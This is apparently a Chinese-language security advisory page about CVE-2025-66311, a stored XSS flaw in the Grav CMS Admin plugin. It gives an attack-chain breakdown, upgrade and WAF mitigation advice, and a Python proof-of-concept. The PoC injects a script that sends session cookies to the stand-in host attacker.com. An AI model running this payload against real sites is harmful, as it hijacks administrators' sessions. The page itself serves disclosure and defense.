IPBUF安全漏洞报告
English
CVE-2025-66311 CVSS 5.4 中危

CVE-2025-66311: Grav Admin插件存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66311
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav CMS Admin Plugin

相关标签

存储型XSSGrav CMSAdmin PluginCVE-2025-66311跨站脚本Web应用安全内容管理系统

漏洞概述

CVE-2025-66311是Grav CMS管理插件中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于/admin/pages/[page]端点,攻击者可通过data[header][metadata]、data[header][taxonomy][category]和data[header][taxonomy][tag]参数注入恶意JavaScript脚本。这些恶意脚本会被永久存储在页面frontmatter中,当管理员或其他用户访问或渲染受影响页面时自动执行。攻击者可利用此漏洞窃取会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于需要低权限认证且需要用户交互,该漏洞被评定为中危级别,CVSS评分5.4。此漏洞影响1.11.0-beta.1之前的所有版本,已在1.11.0-beta.1版本中修复。

技术细节

漏洞根源在于Grav Admin插件在处理页面元数据和分类信息时未对用户输入进行充分的HTML转义。当用户通过/admin/pages/[page]端点创建或修改页面时,注入到data[header][metadata]、data[header][taxonomy][category]和data[header][taxonomy][tag]参数中的恶意脚本会被直接存储到页面的frontmatter中。由于系统未对这些存储的数据进行输出编码,当页面在管理界面中被渲染或被其他用户访问时,恶意脚本将以HTML形式执行。攻击者只需拥有低权限账户(如普通编辑者)即可利用此漏洞,且攻击成功后可窃取管理员会话令牌,进而获得更高的系统权限。修复方案在提交99f653296504f1d6408510dd2f6f20a45a26f9b0中实现,主要通过添加适当的输入验证和输出编码来防止XSS攻击。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用Grav CMS并访问/admin端点,确认Admin插件版本低于1.11.0-beta.1
STEP 2
Authentication
攻击者使用低权限账户(如普通编辑者)登录Grav管理后台
STEP 3
Payload Injection
通过/admin/pages/[page]端点,在data[header][metadata]、data[header][taxonomy][category]或data[header][taxonomy][tag]参数中注入恶意JavaScript脚本
STEP 4
Persistence
恶意脚本被存储在页面的frontmatter中,实现持久化
STEP 5
Execution
当管理员或其他用户访问或预览该页面时,恶意脚本在用户浏览器中自动执行
STEP 6
Impact
攻击者窃取用户会话Cookie、劫持账户、执行钓鱼攻击或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-66311 PoC - Stored XSS in Grav Admin Plugin # Target: Grav CMS with admin plugin < 1.11.0-beta.1 TARGET_URL = "http://target.com/grav" LOGIN_URL = f"{TARGET_URL}/admin" PAGE_URL = f"{TARGET_URL}/admin/pages" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """Exploit stored XSS in Grav admin plugin""" session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'username': 'attacker', 'password': 'password123' } session.post(LOGIN_URL, data=login_data) # Step 2: Create or edit a page with XSS payload page_data = { 'data[header][metadata][author]': XSS_PAYLOAD, 'data[header][taxonomy][category][]': XSS_PAYLOAD, 'data[header][taxonomy][tag][]': XSS_PAYLOAD, 'data[frontmatter]': '---\ntitle: Test Page\n---\n' } # Send request to inject XSS response = session.post(f"{PAGE_URL}/new-page", data=page_data) print(f"XSS payload injected: {response.status_code}") # Step 3: When admin views the page, XSS executes print(f"Vulnerable page created at: {PAGE_URL}/new-page") print(f"Payload: {XSS_PAYLOAD}") if __name__ == "__main__": exploit()

影响范围

Grav Admin Plugin < 1.11.0-beta.1
Grav CMS (all versions with admin plugin)

防御指南

临时缓解措施
立即将Grav Admin插件升级到1.11.0-beta.1或更高版本。在无法立即升级的情况下,可临时禁用页面编辑功能或限制低权限用户创建/编辑页面的权限。同时建议在Web应用防火墙(WAF)上添加针对<script>标签和JavaScript事件处理器的过滤规则,并监控管理后台的异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表